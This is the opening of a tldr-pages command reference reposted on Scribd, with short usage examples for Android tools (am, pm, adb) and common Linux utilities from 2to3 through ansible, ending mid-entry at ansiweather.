Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
0% found this document useful (0 votes)
360 views

TLDR Book

This document provides summaries of commands for the Android operating system and common Linux utilities. It includes commands for managing apps and services (am, bugreport, bugreportz, cmd, dumpsys, input, logcat, pm), files and packages (7z, 7za, 7zr, pkg), properties (getprop), and more. Each command summary includes a brief description and examples of common usage.

Uploaded by

Abdulhai Khaled
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
360 views

TLDR Book

This document provides summaries of commands for the Android operating system and common Linux utilities. It includes commands for managing apps and services (am, bugreport, bugreportz, cmd, dumpsys, input, logcat, pm), files and packages (7z, 7za, 7zr, pkg), properties (getprop), and more. Each command summary includes a brief description and examples of common usage.

Uploaded by

Abdulhai Khaled
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 3061

tldr pages

Simplified and community-driven man pages

Generated on Tue Jan 25 16:38:19 2022


Android
am
Android activity manager.

More information: https://developer.android.com/studio/command-line/adb#am.

• Start a specific activity:

am start -n {{com.android.settings/.Settings}}

• Start an activity and pass data to it:

am start -a {{android.intent.action.VIEW}} -d {{tel:123}}

• Start an activity matching a specific action and category:

am start -a {{android.intent.action.MAIN}} -c
{{android.intent.category.HOME}}

• Convert an intent to a URI:

am to-uri -a {{android.intent.action.VIEW}} -d {{tel:123}}


bugreport
Show an Android bug report.

This command can only be used through adb shell.

More information: https://cs.android.com/android/platform/superproject/+/


master:frameworks/native/cmds/bugreport.

• Show a complete bug report of an Android device:

bugreport
bugreportz
Generate a zipped Android bug report.

This command can only be used through adb shell.

More information: https://cs.android.com/android/platform/superproject/+/


master:frameworks/native/cmds/bugreportz.

• Generate a complete zipped bug report of an Android device:

bugreportz

• Show the progress of a running bugreportz operation:

bugreportz -p

• Show the version of bugreportz:

bugreportz -v

• Display help:

bugreportz -h
cmd
Android service manager.

More information: https://cs.android.com/android/platform/superproject/+/


master:frameworks/native/cmds/cmd/.

• List every running service:

cmd -l

• Call a specific service:

cmd {{alarm}}

• Call a service with arguments:

cmd {{vibrator}} {{vibrate 300}}


dalvikvm
Android Java virtual machine.

More information: https://source.android.com/devices/tech/dalvik.

• Start a Java program:

dalvikvm -classpath {{path/to/file.jar}} {{classname}}


dumpsys
Provide information about Android system services.

This command can only be used through adb shell.

More information: https://developer.android.com/studio/command-line/dumpsys.

• Get diagnostic output for all system services:

dumpsys

• Get diagnostic output for a specific system service:

dumpsys {{service}}

• List all services dumpsys can give information about:

dumpsys -l

• List service-specific arguments for a service:

dumpsys {{service}} -h

• Exclude a specific service from the diagnostic output:

dumpsys --skip {{service}}

• Specify a timeout period in seconds (defaults to 10s):

dumpsys -t {{seconds}}
getprop
Show information about Android system properties.

More information: https://manned.org/getprop.

• Display information about Android system properties:

getprop

• Display information about a specific property:

getprop {{prop}}

• Display the SDK API level:

getprop {{ro.build.version.sdk}}

• Display the Android version:

getprop {{ro.build.version.release}}

• Display the Android device model:

getprop {{ro.vendor.product.model}}

• Display the OEM unlock status:

getprop {{ro.oem_unlock_supported}}

• Display the MAC address of the Android's Wi-Fi card:

getprop {{ro.boot.wifimacaddr}}
input
Send event codes or touchscreen gestures to an Android device.

This command can only be used through adb shell.

More information: https://developer.android.com/reference/android/view/


KeyEvent.html#constants_1.

• Send an event code for a single character to an Android device:

input keyevent {{event_code}}

• Send a text to an Android device (%s represents spaces):

input text "{{text}}"

• Send a single tap to an Android device:

input tap {{x_pos}} {{y_pos}}

• Send a swipe gesture to an Android device:

input swipe {{x_start}} {{y_start}} {{x_end}} {{y_end}}


{{duration_in_ms}}

• Send a long press to an Android device using a swipe gesture:

input swipe {{x_pos}} {{y_pos}} {{x_pos}} {{y_pos}}


{{duration_in_ms}}
logcat
Dump a log of system messages.

More information: https://developer.android.com/studio/command-line/logcat.

• Display system logs:

logcat

• Write system logs to a file:

logcat -f {{path/to/file}}

• Display lines that match a regular expression:

logcat --regex {{regular_expression}}


pkg
Package management utility for Termux.

More information: https://wiki.termux.com/wiki/Package_Management.

• Upgrade all installed packages:

pkg upgrade

• Install a package:

pkg install {{package}}

• Uninstall a package:

pkg uninstall {{package}}

• Reinstall a package:

pkg reinstall {{package}}

• Search for a package:

pkg search {{package}}


pm
Show information about apps on an Android device.

More information: https://developer.android.com/studio/command-line/adb#pm.

• Print a list of all installed apps:

pm list packages

• Print a list of all installed system apps:

pm list packages -s

• Print a list of all installed 3rd-Party apps:

pm list packages -3

• Print a list of apps matching specific keywords:

pm list packages {{keywords}}

• Print the path of the APK of a specific app:

pm path {{app}}
settings
Get information about the Android OS.

More information: https://adbinstaller.com/commands/adb-shell-


settings-5b670d5ee7958178a2955536.

• Display a list of settings in the global namespace:

settings list {{global}}

• Get the value of a specific setting:

settings get {{global}} {{airplane_mode_on}}

• Set the value of a setting:

settings put {{system}} {{screen_brightness}} {{42}}

• Delete a specific setting:

settings delete {{secure}} {{screensaver_enabled}}


wm
Show information about the screen of an Android device.

This command can only be used through adb shell.

More information: https://adbinstaller.com/commands/adb-shell-


wm-5b672b17e7958178a2955538.

• Display the physical size of an Android device's screen:

wm {{size}}

• Display the physical density of an Android device's screen:

wm {{density}}
Common
2to3
Automated Python 2 to 3 code conversion.

More information: https://docs.python.org/3/library/2to3.html.

• Display the changes that would be performed without performing them (dry-run):

2to3 {{path/to/file.py}}

• Convert a Python 2 file to Python 3:

2to3 --write {{path/to/file.py}}

• Convert specific Python 2 language features to Python 3:

2to3 --write {{path/to/file.py}} --fix={{raw_input}} --


fix={{print}}

• Convert all Python 2 language features except the specified ones to Python 3:

2to3 --write {{path/to/file.py}} --nofix={{has_key}} --


nofix={{isinstance}}

• Display a list of all available language features that can be converted from Python
2 to Python 3:

2to3 --list-fixes

• Convert all Python 2 files in a directory to Python 3:

2to3 --output-dir={{path/to/python3_directory}} --write-


unchanged-files --nobackups {{path/to/python2_directory}}

• Run 2to3 with multiple threads:

2to3 --processes={{4}} --output-dir={{path/to/


python3_directory}} --write --nobackups --no-diff {{path/to/
python2_directory}}
7z
File archiver with a high compression ratio.

More information: https://www.7-zip.org.

• [a]rchive a file or directory:

7z a {{path/to/archive.7z}} {{path/to/file_or_directory}}

• Encrypt an existing archive (including filenames):

7z a {{path/to/encrypted.7z}} -p{{password}} -mhe=on {{path/


to/archive.7z}}

• E[x]tract an archive preserving the original directory structure:

7z x {{path/to/archive.7z}}

• E[x]tract an archive to a specific directory:

7z x {{path/to/archive.7z}} -o{{path/to/output}}

• E[x]tract an archive to stdout:

7z x {{path/to/archive.7z}} -so

• [a]rchive using a specific archive type:

7z a -t{{7z|bzip2|gzip|lzip|tar|zip}} {{path/to/archive.7z}}
{{path/to/file_or_directory}}

• [l]ist the contents of an archive:

7z l {{path/to/archive.7z}}

• List available archive types:

7z i
7za
File archiver with a high compression ratio.

Similar to 7z except that it supports fewer file types but is cross-platform.

More information: https://www.7-zip.org.

• [a]rchive a file or directory:

7za a {{path/to/archive.7z}} {{path/to/file_or_directory}}

• Encrypt an existing archive (including file names):

7za a {{path/to/encrypted.7z}} -p{{password}} -mhe=on {{path/


to/archive.7z}}

• E[x]tract an archive preserving the original directory structure:

7za x {{path/to/archive.7z}}

• E[x]tract an archive to a specific directory:

7za x {{path/to/archive.7z}} -o{{path/to/output}}

• E[x]tract an archive to stdout:

7za x {{path/to/archive.7z}} -so

• [a]rchive using a specific archive type:

7za a -t{{7z|bzip2|gzip|lzip|tar|zip}} {{path/to/archive.7z}}


{{path/to/file_or_directory}}

• [l]ist the contents of an archive:

7za l {{path/to/archive.7z}}

• List available archive types:

7za i
7zr
File archiver with a high compression ratio.

Similar to 7z except that it only supports .7z files.

More information: https://www.7-zip.org.

• [a]rchive a file or directory:

7zr a {{path/to/archive.7z}} {{path/to/file_or_directory}}

• Encrypt an existing archive (including file names):

7zr a {{path/to/encrypted.7z}} -p{{password}} -mhe=on {{path/


to/archive.7z}}

• E[x]tract an archive preserving the original directory structure:

7zr x {{path/to/archive.7z}}

• E[x]tract an archive to a specific directory:

7zr x {{path/to/archive.7z}} -o{{path/to/output}}

• E[x]tract an archive to stdout:

7zr x {{path/to/archive.7z}} -so

• [l]ist the contents of an archive:

7zr l {{path/to/archive.7z}}

• List available archive types:

7zr i
[
Check file types and compare values.

Returns 0 if the condition evaluates to true, 1 if it evaluates to false.

More information: https://www.gnu.org/software/bash/manual/bash.html#index-test.

• Test if a given variable is equal/not equal to the specified string:

[ "${{variable}}" {{==|!=}} "{{string}}" ]

• Test if a given variable is [eq]ual/[n]ot [e]qual/[g]reater [t]han/[l]ess [t]han/[g]reater


than or [e]qual/[l]ess than or [e]qual to the specified number:

[ "${{variable}}" -{{eq|ne|gt|lt|ge|le}} {{integer}} ]

• Test if the specified variable has a [n]on-empty value:

[ -n "${{variable}}" ]

• Test if the specified variable has an empty value:

[ -z "${{variable}}" ]

• Test if the specified [f]ile exists:

[ -f {{path/to/file}} ]

• Test if the specified [d]irectory exists:

[ -d {{path/to/directory}} ]

• Test if the specified file or directory [e]xists:

[ -e {{path/to/file_or_directory}} ]
[[
Check file types and compare values.

Returns 0 if the condition evaluates to true, 1 if it evaluates to false.

More information: https://www.gnu.org/software/bash/manual/bash.html#index-


_005b_005b.

• Test if a given variable is equal/not equal to the specified string:

[[ ${{variable}} {{==|!=}} "{{string}}" ]]

• Test if a given string conforms the specified glob/regex:

[[ ${{variable}} {{==|=~}} {{pattern}} ]]

• Test if a given variable is [eq]ual/[n]ot [e]qual/[g]reater [t]han/[l]ess [t]han/[g]reater


than or [e]qual/[l]ess than or [e]qual to the specified number:

[[ ${{variable}} -{{eq|ne|gt|lt|ge|le}} {{integer}} ]]

• Test if the specified variable has a [n]on-empty value:

[[ -n ${{variable}} ]]

• Test if the specified variable has an empty value:

[[ -z ${{variable}} ]]

• Test if the specified [f]ile exists:

[[ -f {{path/to/file}} ]]

• Test if the specified [d]irectory exists:

[[ -d {{path/to/directory}} ]]

• Test if the specified file or directory [e]xists:

[[ -e {{path/to/file_or_directory}} ]]
aapt
Android Asset Packaging Tool.

Compile and package an Android app's resources.

More information: https://elinux.org/Android_aapt.

• List files contained in an APK archive:

aapt list {{path/to/app.apk}}

• Display an app's metadata (version, permissions, etc.):

aapt dump badging {{path/to/app.apk}}

• Create a new APK archive with files from the specified directory:

aapt package -F {{path/to/app.apk}} {{path/to/directory}}


ab
Apache HTTP server benchmarking tool.

More information: https://httpd.apache.org/docs/current/programs/ab.html.

• Execute 100 HTTP GET requests to a given URL:

ab -n {{100}} {{url}}

• Execute 100 HTTP GET requests, in concurrent batches of 10, to a URL:

ab -n {{100}} -c {{10}} {{url}}

• Execute 100 HTTP POST requests to a URL, using a JSON payload from a file:

ab -n {{100}} -T {{application/json}} -p {{path/to/


file.json}} {{url}}

• Use HTTP [K]eep Alive, i.e. perform multiple requests within one HTTP session:

ab -k {{url}}

• Set the maximum number of seconds to spend for benchmarking:

ab -t {{60}} {{url}}
abduco
Terminal session manager.

More information: http://www.brain-dump.org/projects/abduco/.

• List sessions:

abduco

• Attach to a session, creating it if it doesn't exist:

abduco -A {{name}} {{bash}}

• Attach to a session with dvtm, creating it if it doesn't exist:

abduco -A {{name}}

• Detach from a session:

Ctrl + \

• Attach to a session in read-only mode:

abduco -Ar {{name}}


ack
A search tool like grep, optimized for developers.

See also: rg, which is much faster.

More information: https://beyondgrep.com/documentation.

• Search for files containing a string or regular expression in the current directory
recursively:

ack "{{search_pattern}}"

• Search for a case-insensitive pattern:

ack --ignore-case "{{search_pattern}}"

• Search for lines matching a pattern, printing [o]nly the matched text and not the
rest of the line:

ack -o "{{search_pattern}}"

• Limit search to files of a specific type:

ack --type={{ruby}} "{{search_pattern}}"

• Do not search in files of a specific type:

ack --type=no{{ruby}} "{{search_pattern}}"

• Count the total number of matches found:

ack --count --no-filename "{{search_pattern}}"

• Print the file names and the number of matches for each file only:

ack --count --files-with-matches "{{search_pattern}}"

• List all the values that can be used with --type:

ack --help-types
acme.sh --dns
Use a DNS-01 challenge to issue a TLS certificate.

More information: https://github.com/acmesh-official/acme.sh/wiki.

• Issue a certificate using an automatic DNS API mode:

acme.sh --issue --dns {{gnd_gd}} --domain {{example.com}}

• Issue a wildcard certificate (denoted by an asterisk) using an automatic DNS API


mode:

acme.sh --issue --dns {{dns_namesilo}} --domain


{{example.com}} --domain {{*.example.com}}

• Issue a certificate using a DNS alias mode:

acme.sh --issue --dns {{dns_cf}} --domain {{example.com}} --


challenge-alias {{alias-for-example-validation.com}}

• Issue a certificate while disabling automatic Cloudflare / Google DNS polling after
the DNS record is added by specifying a custom wait time in seconds:

acme.sh --issue --dns {{dns_namecheap}} --domain


{{example.com}} --dnssleep {{300}}

• Issue a certificate using a manual DNS mode:

acme.sh --issue --dns --domain {{example.com}} --yes-I-know-


dns-manual-mode-enough-go-ahead-please
acme.sh
Shell script implementing ACME client protocol, an alternative to certbot.

See also acme.sh dns.

More information: https://github.com/acmesh-official/acme.sh.

• Issue a certificate using webroot mode:

acme.sh --issue --domain {{example.com}} --webroot {{/path/


to/webroot}}

• Issue a certificate for multiple domains using standalone mode using port 80:

acme.sh --issue --standalone --domain {{example.com}} --


domain {{www.example.com}}

• Issue a certificate using standalone TLS mode using port 443:

acme.sh --issue --alpn --domain {{example.com}}

• Issue a certificate using a working Nginx configuration:

acme.sh --issue --nginx --domain {{example.com}}

• Issue a certificate using a working Apache configuration:

acme.sh --issue --apache --domain {{example.com}}

• Issue a wildcard (*) certificate using an automatic DNS API mode:

acme.sh --issue --dns {{dns_cf}} --domain {{*.example.com}}

• Install certificate files into the specified locations (useful for automatic certificate
renewal):

acme.sh --install-cert -d {{example.com}} --key-file {{/path/


to/example.com.key}} --fullchain-file {{/path/to/
example.com.cer}} --reloadcmd {{"systemctl force-reload
nginx"}}
act
Execute GitHub Actions locally using Docker.

More information: https://github.com/nektos/act.

• List the available actions:

act -l

• Run the default event:

act

• Run a specific event:

act {{event_type}}

• Run a specific action:

act -a {{action_id}}

• Do not actually run the actions (i.e. a dry run):

act -n

• Show verbose logs:

act -v
acyclic
Make a directed graph acyclic by reversing some edges.

Graphviz filters: acyclic, bcomps, comps, edgepaint, gvcolor, gvpack, mingle,


nop, sccmap, tred, & unflatten.

More information: https://graphviz.org/pdf/acyclic.1.pdf.

• Make a directed graph acyclic by reversing some edges:

acyclic {{path/to/input.gv}} > {{path/to/output.gv}}

• Print if a graph is acyclic, has a cycle, or is undirected, producing no output graph:

acyclic -v -n {{path/to/input.gv}}

• Display help for acyclic:

acyclic -?
adb install
Android Debug Bridge Install: Push packages to an Android emulator instance or
connected Android devices.

More information: https://developer.android.com/studio/command-line/adb.

• Push an Android application to an emulator/device:

adb install {{path/to/file.apk}}

• Reinstall an existing app, keeping its data:

adb install -r {{path/to/file.apk}}

• Grant all permissions listed in the app manifest:

adb install -g {{path/to/file.apk}}

• Quickly update an installed package by only updating the parts of the APK that
changed:

adb install --fastdeploy {{path/to/file.apk}}


adb reverse
Android Debug Bridge Reverse: reverse socket connections from an Android emulator
instance or connected Android devices.

More information: https://developer.android.com/studio/command-line/adb.

• List all reverse socket connections from emulators and devices:

adb reverse --list

• Reverse a TCP port from an emulator or device to localhost:

adb reverse tcp:{{remote_port}} tcp:{{local_port}}

• Remove a reverse socket connections from an emulator or device:

adb reverse --remove tcp:{{remote_port}}

• Remove all reverse socket connections from all emulators and devices:

adb reverse --remove-all


adb shell
Android Debug Bridge Shell: Run remote shell commands on an Android emulator
instance or connected Android devices.

More information: https://developer.android.com/studio/command-line/adb.

• Start a remote interactive shell on the emulator/device:

adb shell

• Get all the properties from emulator or device:

adb shell getprop

• Revert all runtime permissions to their default:

adb shell pm reset-permissions

• Revoke a dangerous permission for an application:

adb shell pm revoke {{package}} {{permission}}

• Trigger a key event:

adb shell input keyevent {{keycode}}

• Clear the data of an application on an emulator or device:

adb shell pm clear {{package}}

• Start an activity on emulator/device:

adb shell am start -n {{package}}/{{activity}}

• Start the home activity on an emulator or device:

adb shell am start -W -c android.intent.category.HOME -a


android.intent.action.MAIN
adb
Android Debug Bridge: communicate with an Android emulator instance or connected
Android devices.

Some subcommands such as adb shell have their own usage documentation.

More information: https://developer.android.com/studio/command-line/adb.

• Check whether the adb server process is running and start it:

adb start-server

• Terminate the adb server process:

adb kill-server

• Start a remote shell in the target emulator/device instance:

adb shell

• Push an Android application to an emulator/device:

adb install -r {{path/to/file.apk}}

• Copy a file/directory from the target device:

adb pull {{path/to/device_file_or_directory}} {{path/to/


local_destination_directory}}

• Copy a file/directory to the target device:

adb push {{path/to/local_file_or_directory}} {{path/to/


device_destination_directory}}

• Get a list of connected devices:

adb devices
AdGuardHome
A network-wide software for blocking ads & tracking.

More information: https://github.com/AdguardTeam/AdGuardHome.

• Run AdGuard Home:

AdGuardHome

• Run AdGuard Home with a specific config:

AdGuardHome --config {{path/to/AdGuardHome.yaml}}

• Set the work directory for data to be stored in:

AdGuardHome --work-dir {{path/to/directory}}

• Install or uninstall AdGuard Home as a service:

AdGuardHome --service {{install|uninstall}}

• Start the AdGuard Home service:

AdGuardHome --service start

• Reload the configuration for the AdGuard Home service:

AdGuardHome --service reload

• Stop or restart the AdGuard Home service:

AdGuardHome --service {{stop|restart}}


adscript
Compiler for Adscript files.

More information: https://github.com/Amplus2/Adscript.

• Compile a file to an object file:

adscript --output {{path/to/file.o}} {{path/to/


input_file.adscript}}

• Compile and link a file to a standalone executable:

adscript --executable --output {{path/to/file}} {{path/to/


input_file.adscript}}

• Compile a file to LLVM IR instead of native machine code:

adscript --llvm-ir --output {{path/to/file.ll}} {{path/to/


input_file.adscript}}

• Cross-compile a file to an object file for a foreign CPU architecture or operating


system:

adscript --target-triple {{i386-linux-elf}} --output {{path/


to/file.o}} {{path/to/input_file.adscript}}
ag
The Silver Searcher. Like ack, but aims to be faster.

More information: https://github.com/ggreer/the_silver_searcher.

• Find files containing "foo", and print the line matches in context:

ag {{foo}}

• Find files containing "foo" in a specific directory:

ag {{foo}} {{path/to/directory}}

• Find files containing "foo", but only list the filenames:

ag -l {{foo}}

• Find files containing "FOO" case-insensitively, and print only the match, rather
than the whole line:

ag -i -o {{FOO}}

• Find "foo" in files with a name matching "bar":

ag {{foo}} -G {{bar}}

• Find files whose contents match a regular expression:

ag '{{^ba(r|z)$}}'

• Find files with a name matching "foo":

ag -g {{foo}}
agate
A simple server for the Gemini network protocol.

More information: https://github.com/mbrubeck/agate.

• Run and generate a private key and certificate:

agate --content {{path/to/content/}} --addr {{[::]:1965}} --


addr {{0.0.0.0:1965}} --hostname {{example.com}} --lang {{en-
US}}

• Run server:

agate {{path/to/file}}

• Display help:

agate -h
age
A simple, modern and secure file encryption tool.

More information: https://age-encryption.org.

• Generate an encrypted file that can be decrypted with a passphrase:

age --passphrase --output {{path/to/encrypted_file}} {{path/


to/unencrypted_file}}

• Generate a key pair, saving the private key to an unencrypted file and printing the
public key to stdout:

age-keygen --output {{path/to/file}}

• Encrypt a file with one or more public keys that are entered as literals:

age --recipient {{public_key_1}} --recipient {{public_key_2}}


{{path/to/unencrypted_file}} --output {{path/to/
encrypted_file}}

• Encrypt a file with one or more public keys that are specified in a recipients file:

age --recipients-file {{path/to/recipients_file}} {{path/to/


unencrypted_file}} --output {{path/to/encrypted_file}}

• Decrypt a file with a passphrase:

age --decrypt --output {{path/to/decrypted_file}} {{path/to/


encrypted_file}}

• Decrypt a file with a private key file:

age --decrypt --identity {{path/to/private_key_file}} --


output {{path/to/decrypted_file}} {{path/to/encrypted_file}}
airmon-ng
Activate monitor mode on wireless network devices.

More information: https://www.aircrack-ng.org/doku.php?id=airmon-ng.

• List wireless devices and their statuses:

sudo airmon-ng

• Turn on monitor mode for a specific device:

sudo airmon-ng start {{wlan0}}

• Kill disturbing processes that use wireless devices:

sudo airmon-ng check kill

• Turn off monitor mode for a specific network interface:

sudo airmon-ng stop {{wlan0mon}}


airpaste
Share messages and files on the same network using mDNS.

More information: https://github.com/mafintosh/airpaste.

• Wait for a message and display it when received:

airpaste

• Send text:

echo {{text}} | airpaste

• Send a file:

airpaste < {{path/to/file}}

• Receive a file:

airpaste > {{path/to/file}}

• Create or join a channel:

airpaste {{channel_name}}
ajson
Executes JSONPath on JSON objects.

More information: https://github.com/spyzhov/ajson.

• Read JSON from a file and execute a specified JSONPath expression:

ajson '{{$..json[?(@.path)]}}' {{path/to/file.json}}

• Read JSON from stdin and execute a specified JSONPath expression:

cat {{path/to/file.json}} | ajson '{{$..json[?(@.path)]}}'

• Read JSON from a URL and evaluate a specified JSONPath expression:

ajson '{{avg($..price)}}' '{{https://example.com/api/}}'

• Read some simple JSON and calculate a value:

echo '{{3}}' | ajson '{{2 * pi * $}}'


alacritty
Cross-platform, GPU-accelerated terminal emulator.

More information: https://github.com/alacritty/alacritty.

• Open a new Alacritty window:

alacritty

• Run in a specific directory:

alacritty --working-directory {{path/to/directory}}

• Run a command in a new Alacritty window:

alacritty -e {{command}}

• Specify alternative configuration file (defaults to $XDG_CONFIG_HOME/


alacritty/alacritty.yml):

alacritty --config-file {{path/to/config.yml}}

• Run with live config reload enabled (can also be enabled by default in
alacritty.yml):

alacritty --live-config-reload --config-file {{path/to/


config.yml}}
alex
A tool that catches insensitive, inconsiderate writing.

It helps you find gender favouring, polarising, race related, religion inconsiderate, or
other unequal phrasing in text.

More information: https://github.com/get-alex/alex.

• Analyze text from stdin:

echo {{His network looks good}} | alex --stdin

• Analyze all files in the current directory:

alex

• Analyze a specific file:

alex {{textfile.md}}

• Analyze all Markdown files except example.md:

alex *.md !{{example.md}}


alias
Creates aliases -- words that are replaced by a command string.

Aliases expire with the current shell session unless defined in the shell's configuration
file, e.g. ~/.bashrc.

More information: https://tldp.org/LDP/abs/html/aliases.html.

• List all aliases:

alias

• Create a generic alias:

alias {{word}}="{{command}}"

• View the command associated to a given alias:

alias {{word}}

• Remove an aliased command:

unalias {{word}}

• Turn rm into an interactive command:

alias {{rm}}="{{rm --interactive}}"

• Create la as a shortcut for ls --all:

alias {{la}}="{{ls --all}}"


amass db
Interact with an Amass database.

More information: https://github.com/OWASP/Amass/blob/master/doc/


user_guide.md#the-db-subcommand.

• List all performed enumerations in the database:

amass db -dir {{path/to/database_directory}} -list

• Show results for a specified enumeration index and domain name:

amass db -dir {{path/to/database_directory}} -d


{{domain_name}} -enum {{index_from_list}} -show

• List all found subdomains of a domain within an enumeration:

amass db -dir {{path/to/database_directory}} -d


{{domain_name}} -enum {{index_from_list}} -names

• Show a summary of the found subdomains within an enumeration:

amass db -dir {{path/to/database_directory}} -d


{{domain_name}} -enum {{index_from_list}} -summary
amass enum
Find subdomains of a domain.

More information: https://github.com/OWASP/Amass/blob/master/doc/


user_guide.md#the-enum-subcommand.

• Passively find subdomains of a domain:

amass enum -passive -d {{domain_name}}

• Find subdomains of a domain and actively verify them attempting to resolve the
found subdomains:

amass enum -active -d {{domain_name}} -p {{80,443,8080}}

• Do a brute force search for subdomains:

amass enum -brute -d {{domain_name}}

• Save the results to a text file:

amass enum -o {{output_file}} -d {{domain_name}}

• Save the results to a database:

amass enum -o {{output_file}} -dir {{path/to/


database_directory}}
amass intel
Collect open source intel on an organisation like root domains and ASNs.

More information: https://github.com/OWASP/Amass/blob/master/doc/


user_guide.md#the-intel-subcommand.

• Find root domains in an IP address range:

amass intel -addr {{192.168.0.1-254}}

• Use active recon methods:

amass intel -active -addr {{192.168.0.1-254}}

• Find root domains related to a domain:

amass intel -whois -d {{domain_name}}

• Find ASNs belonging to an organisation:

amass intel -org {{organisation_name}}

• Find root domains belonging to a given Autonomous System Number:

amass intel -asn {{asn}}

• Save results to a text file:

amass intel -o {{output_file}} -whois -d {{domain_name}}


amass track
Track differences between enumerations of the same domain.

More information: https://github.com/OWASP/Amass/blob/master/doc/


user_guide.md#the-track-subcommand.

• Show the difference between the last two enumerations of the specified domain:

amass track -dir {{path/to/database_directory}} -d


{{domain_name}} -last 2

• Show the difference between a certain point in time and the last enumeration:

amass track -dir {{path/to/database_directory}} -d


{{domain_name}} -since {{01/02 15:04:05 2006 MST}}
amass viz
Visualize gathered information in a network graph.

More information: https://github.com/OWASP/Amass/blob/master/doc/


user_guide.md#the-viz-subcommand.

• Generate a D3.js visualization based on database data:

amass viz -d3 -dir {{path/to/database_directory}}

• Generate a DOT file based on database data:

amass viz -dot -dir {{path/to/database_directory}}

• Generate a Gephi Graph Exchange XML Format (GEXF) file based on database
data:

amass viz -gexf -dir {{path/to/database_directory}}

• Generate a Graphistry JSON file based on database data:

amass viz -graphistry -dir {{path/to/database_directory}}

• Generate a Maltego CSV file based on database data:

amass viz -maltego -dir {{path/to/database_directory}}


amass
In-depth Attack Surface Mapping and Asset Discovery tool.

Some subcommands such as amass db have their own usage documentation.

More information: https://github.com/OWASP/Amass.

• Check the Amass version:

amass -version

• Show general help:

amass -help

• Show help on an Amass subcommand (like intel, enum, etc.):

amass -help {{subcommand}}

• Execute an Amass subcommand:

amass {{subcommand}}
androguard
Reverse engineering tool for Android applications. Written in Python.

More information: https://github.com/androguard/androguard.

• Display Android app manifest:

androguard axml {{path/to/app.apk}}

• Display app metadata (version and app ID):

androguard apkid {{path/to/app.apk}}

• Decompile Java code from an app:

androguard decompile {{path/to/app.apk}} --output {{path/to/


directory}}
ansible-doc
Display information on modules installed in Ansible libraries.

Display a terse listing of plugins and their short descriptions.

More information: https://docs.ansible.com/ansible/latest/cli/ansible-doc.html.

• List available action plugins (modules):

ansible-doc --list

• List available plugins of a specific type:

ansible-doc --type {{plugin_type}} --list

• Show information about a specific action plugin (module):

ansible-doc {{plugin_name}}

• Show information about a plugin with a specific type:

ansible-doc --type {{plugin_type}} {{plugin_name}}

• Show the playbook snippet for action plugin (modules):

ansible-doc --snippet {{plugin_name}}

• Show information about an action plugin (module) as JSON:

ansible-doc --json {{plugin_name}}


ansible-galaxy
Create and manage Ansible roles.

More information: https://docs.ansible.com/ansible/latest/cli/ansible-galaxy.html.

• Install a role:

ansible-galaxy install {{username}}.{{role_name}}

• Remove a role:

ansible-galaxy remove {{username}}.{{role_name}}

• List installed roles:

ansible-galaxy list

• Search for a given role:

ansible-galaxy search {{role_name}}

• Create a new role:

ansible-galaxy init {{role_name}}

• Get information about a user role:

ansible-galaxy role info {{username}}.{{role_name}}

• Get information about a collection:

ansible-galaxy collection info {{username}}.


{{collection_name}}
ansible-inventory
Display or dump an Ansible inventory.

See also: ansible.

More information: https://docs.ansible.com/ansible/latest/cli/ansible-inventory.html.

• Display the default inventory:

ansible-inventory --list

• Display a custom inventory:

ansbile-inventory --list --inventory {{path/to/


file_or_script_or_directory}}

• Display the default inventory in YAML:

ansible-inventory --list --yaml

• Dump the default inventory to a file:

ansible-inventory --list --output {{path/to/file}}


ansible-playbook
Execute tasks defined in playbook on remote machines over SSH.

More information: https://docs.ansible.com/ansible/latest/cli/ansible-playbook.html.

• Run tasks in playbook:

ansible-playbook {{playbook}}

• Run tasks in playbook with custom host inventory:

ansible-playbook {{playbook}} -i {{inventory_file}}

• Run tasks in playbook with extra variables defined via the command-line:

ansible-playbook {{playbook}} -e "{{variable1}}={{value1}}


{{variable2}}={{value2}}"

• Run tasks in playbook with extra variables defined in a JSON file:

ansible-playbook {{playbook}} -e "@{{variables.json}}"

• Run tasks in playbook for the given tags:

ansible-playbook {{playbook}} --tags {{tag1,tag2}}

• Run tasks in a playbook starting at a specific task:

ansible-playbook {{playbook}} --start-at {{task_name}}


ansible-pull
Pull ansible playbooks from a VCS repo and executes them for the local host.

More information: https://docs.ansible.com/ansible/latest/cli/ansible-pull.html.

• Pull a playbook from a VCS and execute a default local.yml playbook:

ansible-pull -U {{repository_url}}

• Pull a playbook from a VCS and execute a specific playbook:

ansible-pull -U {{repository_url}} {{playbook}}

• Pull a playbook from a VCS at a specific branch and execute a specific playbook:

ansible-pull -U {{repository_url}} -C {{branch}} {{playbook}}

• Pull a playbook from a VCS, specify hosts file and execute a specific playbook:

ansible-pull -U {{repository_url}} -i {{hosts_file}}


{{playbook}}
ansible-vault
Encrypts & decrypts values, data structures and files within Ansible projects.

More information: https://docs.ansible.com/ansible/latest/user_guide/vault.html#id17.

• Create a new encrypted vault file with a prompt for a password:

ansible-vault create {{vault_file}}

• Create a new encrypted vault file using a vault key file to encrypt it:

ansible-vault create --vault-password-file={{password_file}}


{{vault_file}}

• Encrypt an existing file using an optional password file:

ansible-vault encrypt --vault-password-file={{password_file}}


{{vault_file}}

• Encrypt a string using Ansible's encrypted string format, displaying interactive


prompts:

ansible-vault encrypt_string

• View an encrypted file, using a password file to decrypt:

ansible-vault view --vault-password-file={{password_file}}


{{vault_file}}

• Re-key already encrypted vault file with a new password file:

ansible-vault rekey --vault-password-


file={{old_password_file}} --new-vault-password-
file={{new_password_file}} {{vault_file}}
ansible
Manage groups of computers remotely over SSH. (use the /etc/ansible/hosts file to
add new groups/hosts).

Some subcommands such as ansible galaxy have their own usage documentation.

More information: https://www.ansible.com/.

• List hosts belonging to a group:

ansible {{group}} --list-hosts

• Ping a group of hosts by invoking the ping module:

ansible {{group}} -m ping

• Display facts about a group of hosts by invoking the setup module:

ansible {{group}} -m setup

• Execute a command on a group of hosts by invoking command module with


arguments:

ansible {{group}} -m command -a '{{my_command}}'

• Execute a command with administrative privileges:

ansible {{group}} --become --ask-become-pass -m command -a


'{{my_command}}'

• Execute a command using a custom inventory file:

ansible {{group}} -i {{inventory_file}} -m command -a


'{{my_command}}'

• List the groups in an inventory:

ansible localhost -m debug -a '{{var=groups.keys()}}'


ansiweather
A shell script for displaying the current weather conditions in your terminal.

More information: https://github.com/fcambus/ansiweather.

• Display a forecast using metric units for the next five days for Rzeszow, Poland:

